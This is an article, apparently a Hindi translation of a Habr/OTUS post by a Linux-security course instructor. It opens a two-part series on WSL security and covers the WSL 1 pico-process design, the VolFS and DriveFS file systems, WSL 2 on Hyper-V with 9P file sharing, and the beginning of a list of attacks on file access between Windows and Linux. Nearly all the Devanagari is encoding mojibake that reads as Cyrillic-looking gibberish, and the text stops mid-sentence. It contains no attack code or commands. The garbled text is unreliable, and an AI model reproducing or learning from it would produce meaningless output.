рдбрдмреНрд▓реВрдПрд╕рдПрд▓ рдкреНрд░рдпреЛрдЧ. рднрд╛рдЧ ---- рдкрд╣рд▓рд╛

рд╣реЗрд▓реЛ рд╣рдмрд░! OTUS рдиреЗ рдЕрдХреНрдЯреВрдмрд░ рдореЗрдВ рдПрдХ рдирдИ рдкрд╛рдареНрдпрдХреНрд░рдо рд╕реНрдЯреНрд░реАрдо рд▓реЙрдиреНрдЪ рдХреА рд╣реИ "рд▓рд┐рдирдХреНрд╕ рд╕реБрд░рдХреНрд╖рд╛". рдкрд╛рдареНрдпрдХреНрд░рдо рдХреА рд╢реБрд░реБрдЖрдд рдХреА рдкреНрд░рддреНрдпрд╛рд╢рд╛ рдореЗрдВ, рд╣рдо рдЖрдкрдХреЗ рд╕рд╛рде рд╣рдорд╛рд░реЗ рдПрдХ рд╢рд┐рдХреНрд╖рдХ рдЕрд▓реЗрдХреНрдЬреЗрдВрдбрд░ рдХреЛрд▓реЗрдирд┐рдХреЛрд╡ рджреНрд╡рд╛рд░рд╛ рд▓рд┐рдЦрд┐рдд рдПрдХ рд▓реЗрдЦ рд╕рд╛рдЭрд╛ рдХрд░ рд░рд╣реЗ рд╣реИрдВред

рдбрдмреНрд▓реВрдПрд╕рдПрд▓ рдкреНрд░рдпреЛрдЧ. рднрд╛рдЧ ---- рдкрд╣рд▓рд╛

2016 рдореЗрдВ, Microsoft рдиреЗ IT рд╕рдореБрджрд╛рдп рдХреЗ рд▓рд┐рдП рдирдИ WSL рддрдХрдиреАрдХ рдкреЗрд╢ рдХреА (Windows SрдХреЗ рд▓рд┐рдП рд╕рдмрд╕рд┐рд╕реНрдЯрдо LрдЗрдирдХреНрд╕), рдЬрд┐рд╕рдиреЗ рднрд╡рд┐рд╖реНрдп рдореЗрдВ рдкрд╣рд▓реЗ рд╕реЗ рдЕрд╕рдВрдЧрдд рдкреНрд░рддрд┐рд╕реНрдкрд░реНрдзрд┐рдпреЛрдВ рдХреЛ рдПрдХрдЬреБрдЯ рдХрд░рдирд╛ рд╕рдВрднрд╡ рдмрдирд╛ рджрд┐рдпрд╛ рдЬреЛ рд╕рд╛рдорд╛рдиреНрдп рдФрд░ рдЙрдиреНрдирдд рдУрдПрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ: рд╡рд┐рдВрдбреЛрдЬ рдФрд░ рд▓рд┐рдирдХреНрд╕ рджреЛрдиреЛрдВ рдХреЗ рдмреАрдЪ рд▓реЛрдХрдкреНрд░рд┐рдпрддрд╛ рдХреЗ рд▓рд┐рдП рд▓рдбрд╝ рд░рд╣реЗ рдереЗред рдЗрд╕ рддрдХрдиреАрдХ рдиреЗ рд╡рд┐рдВрдбреЛрдЬрд╝ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд▓рд┐рдирдХреНрд╕ рдЪрд▓рд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗ рдмрд┐рдирд╛ рд▓рд┐рдирдХреНрд╕ рдУрдПрд╕ рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рдмрдирд╛ рджрд┐рдпрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдорд▓реНрдЯреА-рдмреВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред Habr рдкрд░ рдЖрдк WSL рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд╛рднреЛрдВ рдХрд╛ рд╡рд░реНрдгрди рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдмрдбрд╝реА рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рд▓реЗрдЦ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, рдЗрд╕ рд▓реЗрдЦ рдХреЗ рдирд┐рд░реНрдорд╛рдг рдХреЗ рд╕рдордп, рдЗрд╕ рд╕рдВрд╕рд╛рдзрди рдкрд░ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдРрд╕реЗ рд╕рд╣рдЬреАрд╡рди рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдкрд░ рдХреЛрдИ рдЕрдзреНрдпрдпрди рдирд╣реАрдВ рдкрд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдпрд╣ рдкреЛрд╕реНрдЯ рдЗрд╕реЗ рд╕рд╣реА рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдкреНрд░рдпрд╛рд╕ рд╣реЛрдЧрд╛ред рд▓реЗрдЦ WSL 1 рдФрд░ 2 рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдХреА рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░реЗрдЧрд╛ рдФрд░ рдЗрди рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд╣рдорд▓реЛрдВ рдХреЗ рдХрдИ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдЧрд╛ред рд▓реЗрдЦ рдХреЛ 2 рднрд╛рдЧреЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдкрд╣рд▓рд╛ рд▓рд┐рдирдХреНрд╕ рдФрд░ рд╡рд┐рдВрдбреЛрдЬрд╝ рд╕реЗ рдореБрдЦреНрдп рд╕реИрджреНрдзрд╛рдВрддрд┐рдХ рд╣рдорд▓реЗ рдХреЗ рддрд░реАрдХреЗ рдкреНрд░рджрд╛рди рдХрд░реЗрдЧрд╛ред рджреВрд╕рд░реЗ рд▓реЗрдЦ рдореЗрдВ рдПрдХ рдкрд░реАрдХреНрд╖рдг рд╡рд╛рддрд╛рд╡рд░рдг рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рдФрд░ рд╣рдорд▓реЛрдВ рдХреЛ рдкреБрди: рдкреНрд░рд╕реНрддреБрдд рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реЛрдЧрд╛ред

рдбрдмреНрд▓реВрдПрд╕рдПрд▓ 1: рд╡рд╛рд╕реНрддреБрд╢рд┐рд▓реНрдк рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдВ

рдбрдмреНрд▓реВрдПрд╕рдПрд▓ рд╕реБрд░рдХреНрд╖рд╛ рдореБрджреНрджреЛрдВ рдореЗрдВ рд╕рдмрд╕реЗ рд╕рдЯреАрдХ рдЧреЛрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдЙрдкрдкреНрд░рдгрд╛рд▓реА рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рд╕реЗ рдЬреБрдбрд╝реА рдореБрдЦреНрдп рдмрд╛рд░реАрдХрд┐рдпреЛрдВ рдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред WSL рджреНрд╡рд╛рд░рд╛ рд╣рд▓ рдХрд┐рдП рдЧрдП рдореБрдЦреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛рд░реНрдпреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╡рд┐рдВрдбреЛрдЬрд╝ рдУрдПрд╕ рдЪрд▓рд╛рдиреЗ рд╡рд╛рд▓реЗ рд╣реЛрд╕реНрдЯ рдкрд░ рд▓рд┐рдирдХреНрд╕ рдЯрд░реНрдорд┐рдирд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реИред рд╕рд╛рде рд╣реА, рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдЕрдиреБрдХреВрд▓рддрд╛ рдЗрддрдиреА рдореВрд▓ рдереА рдХрд┐ рд▓рд┐рдирдХреНрд╕ рдирд┐рд╖реНрдкрд╛рджрдирдпреЛрдЧреНрдп (рдИрдПрд▓рдПрдл) рдХреЛ рд╕реАрдзреЗ рд╡рд┐рдВрдбреЛрдЬ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рдерд╛ред рдЗрди рд▓рдХреНрд╖реНрдпреЛрдВ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╡рд┐рдВрдбреЛрдЬ 10 рдореЗрдВ рдПрдХ рд╡рд┐рд╢реЗрд╖ рд╕рдмрд╕рд┐рд╕реНрдЯрдо рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ рдЬреЛ рдЖрдкрдХреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХреЗ рд╕реЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓рд┐рдирдХреНрд╕ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ - рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╡рд┐рдВрдбреЛрдЬ рдкрд░ рд▓рд┐рдирдХреНрд╕ рд╕рд┐рд╕реНрдХрд▓реНрд╕ рдХреЗ рдПрдХ рд╕реЗрдЯ рдХреЛ рдореИрдк рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЗрд╕реЗ рдирдП рдбреНрд░рд╛рдЗрд╡рд░реЛрдВ рдФрд░ рдПрдХ рдирдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рд░реВрдк рдХреЛ рдЬреЛрдбрд╝рдХрд░ рднреМрддрд┐рдХ рд░реВрдк рд╕реЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рджреЗрдЦрдиреЗ рдореЗрдВ рд╡рд╛рд╕реНрддреБрдХрд▓рд╛ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддреА рдереА:

рдбрдмреНрд▓реВрдПрд╕рдПрд▓ рдкреНрд░рдпреЛрдЧ. рднрд╛рдЧ ---- рдкрд╣рд▓рд╛

рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рд▓рд┐рдирдХреНрд╕ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реЗрдХреНрд╢рди рдХрдИ рдХрд░реНрдиреЗрд▓ рдореЙрдбреНрдпреВрд▓ рдФрд░ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдкреНрд░рдХрд╛рд░ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ - рдкрд┐рдХреЛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЖрдпреЛрдЬрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдКрдкрд░ рджрд┐рдП рдЧрдП рдЪрд┐рддреНрд░ рд╕реЗ, рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╣реЛрд╕реНрдЯ рдкрд░ рд▓рд┐рдирдХреНрд╕ рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдкрд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореВрд▓ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП рдФрд░ рдирд┐рдпрдорд┐рдд рд╡рд┐рдВрдбреЛрдЬ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд╕рдорд╛рди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рд▓реЗрдХрд┐рди рдЗрд╕реЗ рдХреИрд╕реЗ рд╣рд╛рд╕рд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛рдП? рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдореЗрдВ рд╕реАрдврд╝реА рд╡рд┐рдВрдбреЛрдЬрд╝ рдХреЗ рд▓рд┐рдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЕрд╡рдзрд╛рд░рдгрд╛рдПрдБ рд╡рд┐рдХрд╕рд┐рдд рдХреА рдЧрдИрдВ рдЬреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдУрдПрд╕ рдХреЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рднреА рдЖрд╡рд╢реНрдпрдХ рдШрдЯрдХ (рдЗрд╕рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рдЖрдзрд╛рд░ рдкрд░) рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИрдВред

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдЕрдореВрд░реНрддрди рдиреЗ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо (рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рд╡рд┐рдВрдбреЛрдЬрд╝) рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рди рдХрд░рдирд╛ рд╕рдВрднрд╡ рдмрдирд╛ рджрд┐рдпрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдХрд┐рд╕реА рдЕрдиреНрдп рдУрдПрд╕ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд▓реЙрдиреНрдЪ рд╣реЛрдиреЗ рдХреА рдЙрдореНрдореАрдж рд╣реИ, рдФрд░ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХрд╛ рд╕реБрдЭрд╛рд╡ рджрд┐рдпрд╛ рд╣реИред

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдкрд┐рдХреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЕрдВрджрд░ рдХреЛрдИ рднреА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╡рд┐рдВрдбреЛрдЬ рдХрд░реНрдиреЗрд▓ рдХреА рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛ рдЪрд▓ рд╕рдХрддрд╛ рд╣реИ:

  1. рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХреА рдЕрдиреБрдХреВрд▓рддрд╛ рдФрд░ рдЕрдиреБрд╡рд╛рдж рдХреА рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЛ рд╡рд┐рд╢реЗрд╖ рдкреНрд░рджрд╛рддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рд╣рд▓ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП;
  2. рдкрд╣реБрдВрдЪ рдирд┐рдпрдВрддреНрд░рдг рд╕реБрд░рдХреНрд╖рд╛ рдореЙрдирд┐рдЯрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдореЙрдирд┐рдЯрд░ рдХрд░реНрдиреЗрд▓ рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ рдФрд░ рдЗрд╕рд▓рд┐рдП рд╡рд┐рдВрдбреЛрдЬрд╝ рдХреЛ рдПрдХ рдирдП рдбреНрд░рд╛рдЗрд╡рд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдкрдЧреНрд░реЗрдб рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬреЛ рдРрд╕реА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдкреНрд░рджрд╛рддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░ рд╕рдХреЗред рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдкрд┐рдХреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдпреЛрдЬрдирд╛рдмрджреНрдз рд░реВрдк рд╕реЗ рдиреАрдЪреЗ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:

рдбрдмреНрд▓реВрдПрд╕рдПрд▓ рдкреНрд░рдпреЛрдЧ. рднрд╛рдЧ ---- рдкрд╣рд▓рд╛

рдЪреВрдВрдХрд┐ рд▓рд┐рдирдХреНрд╕ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЗрд╕-рд╕рдВрд╡реЗрджреА рдлрд╝рд╛рдЗрд▓ рдФрд░ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдирд╛рдореЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП WSL рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рдВрдбреЛрдЬрд╝ рдореЗрдВ 2 рдкреНрд░рдХрд╛рд░ рдХреЗ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдЬреЛрдбрд╝реЗ рдЧрдП - VolFS рдФрд░ DriveFSред VolFS Linux рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХрд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рд╣реИ, DriveFS рдПрдХ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рд╣реИ рдЬреЛ рд╡рд┐рдВрдбреЛрдЬрд╝ рдирд┐рдпрдореЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕рдореЗрдВ рдХреЗрд╕ рд╕рдВрд╡реЗрджрдирд╢реАрд▓рддрд╛ рдХрд╛ рдЪрдпрди рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛрддреА рд╣реИред

рдбрдмреНрд▓реВрдПрд╕рдПрд▓ рдПрдХреНрд╕рдПрдирдпреВрдПрдордПрдХреНрд╕

WSL 1 рдореЗрдВ рдХрдИ рд╕реАрдорд╛рдПрдБ рдереАрдВ рдЬреЛ рдЗрд╕реЗ рдХрд╛рд░реНрдпреЛрдВ рдХреА рдЕрдзрд┐рдХрддрдо рд╕реАрдорд╛ рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддреА рдереАрдВ: рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЗрд╕рдореЗрдВ 32-рдмрд┐рдЯ рд▓рд┐рдирдХреНрд╕ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдирд╣реАрдВ рдереА, рдФрд░ рдбрд┐рд╡рд╛рдЗрд╕ рдбреНрд░рд╛рдЗрд╡рд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЕрд╕рдВрднрд╡ рдерд╛ред рдЗрд╕рд▓рд┐рдП, 2020 рдореЗрдВ, WSL 2 рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЧрдпрд╛, рдЬрд┐рд╕рдиреЗ рд╕рдмрд╕рд┐рд╕реНрдЯрдо рдХреЗ рдирд┐рд░реНрдорд╛рдг рдХреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЛ рдмрджрд▓ рджрд┐рдпрд╛ред WSL 2 рдПрдХ рдЕрдиреБрдХреВрд▓рд┐рдд рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рд╣реИ рдЬреЛ WSL 1 рдХреА рд╕рдВрд╕рд╛рдзрди рдЦрдкрдд рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рд╕реЗ рдореЗрд▓ рдЦрд╛рддреА рд╣реИред рдЕрдм, рд╡рд┐рдВрдбреЛрдЬрд╝ рдУрдПрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд╣рд▓ рдХреА рдЧрдИ рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдЖрдк рд▓рд┐рдирдХреНрд╕ рд╕рдмрд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЖрд╡рд╢реНрдпрдХ рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдЪрдпрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╕рдВрднрд╛рд╡рд┐рдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, WSL 2 рдХреЛ рд╡рд┐рдВрдбреЛрдЬ 10 рдореЗрдВ рд╣рд╛рдЗрдкрд░-рд╡реА рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЗрд╕ рд░реВрдк рдореЗрдВ, рд╡рд┐рдВрдбреЛрдЬ рдореЗрдВ рд▓рд┐рдирдХреНрд╕ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХрд░реНрдиреЗрд▓ рдХреЛ рдЕрд▓рдЧрд╛рд╡ рдореЗрдВ рдЪрд▓рд╛рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реИред рдпрд╣ рдпрд╛рдж рд░рдЦрдиреЗ рдпреЛрдЧреНрдп рд╣реИ рдХрд┐ WSL рдХреЗ рд╕рдВрд╕реНрдХрд░рдг 1 рдХреЛ рдПрдХ рдмреАрдЯрд╛ рдлреАрдЪрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдкреЗрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдЬреЛ рдЗрд╕ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рд╡рд┐рдВрдбреЛрдЬ рд╡рд┐рдХрд╛рд╕ рдХреА рджрд┐рд╢рд╛ рджрд┐рдЦрд╛рдиреЗ рд╡рд╛рд▓рд╛ рдерд╛, рдЗрд╕рд▓рд┐рдП рд╣рд╛рдЗрдкрд░-рд╡реА рдореЗрдВ рд╕рдВрдХреНрд░рдордг рдЕрдкрд░рд┐рд╣рд╛рд░реНрдп рдерд╛ред рдЕрдВрддрд┐рдо рд╡рд╛рд╕реНрддреБрдХрд▓рд╛ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддреА рд╣реИ:

рдбрдмреНрд▓реВрдПрд╕рдПрд▓ рдкреНрд░рдпреЛрдЧ. рднрд╛рдЧ ---- рдкрд╣рд▓рд╛

рдЗрд╕ рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ, рд╡рд┐рдВрдбреЛрдЬрд╝ рдФрд░ рд▓рд┐рдирдХреНрд╕ рдХрд░реНрдиреЗрд▓ рдХреЗ рдкрд╛рд╕ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рд╕рдВрд╕рд╛рдзрди рд╣реИрдВ рдФрд░ рдЗрдВрдЯрд░рд╕реЗрдХреНрд╢рди рдХреЗрд╡рд▓ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдореМрдЬреВрдж рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рдЗрдВрдЯрд░рд╕реЗрдХреНрд╢рди рдкреВрд░реНрдг рдирд╣реАрдВ рд╣реИред рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдмреАрдЪ рдЗрдВрдЯрд░реЗрдХреНрд╢рди рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд░реНрд╡рд░ рд░реИрдкрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ 9P рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред

рдЖрдЬ Microsoft WSL 1 рдФрд░ WSL 2 рдХреЗ рдмреАрдЪ рд╕реНрд╡рд┐рдЪ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рджреЛрдиреЛрдВ рд╕рдВрд╕реНрдХрд░рдг рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рд╣реИрдВред

рдбрдмреНрд▓реНрдпреВрдПрд╕рдПрд▓ рд╕реБрд░рдХреНрд╖рд╛

рдлрд┐рд▓рд╣рд╛рд▓, рдЙрдкрдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдХреЗ рдмреАрдЪ рд╕рдВрдЪрд╛рд░ рдкрд░ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡реИрдз рдУрдПрд╕ рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдХреБрдЫ рддрд░реАрдХреЛрдВ рдХрд╛ рд╡рд░реНрдгрди рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдХрдИ рдХрд╛рд░реНрдп рд╣реИрдВред рд╣рдо рд▓реЗрдЦрди рдХреЗ рд╕рдордп рд╣рдорд▓реЛрдВ рдХреА рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХрддрд╛ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдирдХреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред рд╣рдорд▓реЛрдВ рдФрд░ рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдХреА рд╕рд╛рдорд╛рдиреНрдп рд╕реВрдЪреА:

1. рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди: рдкрд╣реБрдВрдЪ рдЕрдзрд┐рдХрд╛рд░, рд╕рд╛рдЭрд╛ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ/рдбреЗрдЯрд╛ рд╡рд┐рдирд┐рдордп рддрдВрддреНрд░ рдХреА рдЙрдкрд▓рдмреНрдзрддрд╛ред

рдкрд╣реБрдВрдЪ рдирд┐рдпрдореЛрдВ рдХреЗ рдЙрд▓реНрд▓рдВрдШрди рдХреЛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд╕рдВрдзрд╛рди рдЖрдпреЛрдЬрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рд▓рд┐рдирдХреНрд╕ рдПрдлрдПрд╕->рд╡рд┐рдВрдбреЛрдЬ рдПрдлрдПрд╕, рд╡рд┐рдВрдбреЛрдЬ рдПрдлрдПрд╕->рд▓рд┐рдирдХреНрд╕ рдПрдлрдПрд╕. рдЕрдиреБрд╕рдВрдзрд╛рди рдиреЗ рд▓рдХреНрд╖реНрдп рдУрдПрд╕ рдХреЗ рднреАрддрд░ рдХрд┐рд╕реА рджреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХреА рд╣реИред рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ, рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдмрдирд╛рдиреЗ рдФрд░ рдХреБрдЫ рднрд╛рдЧ 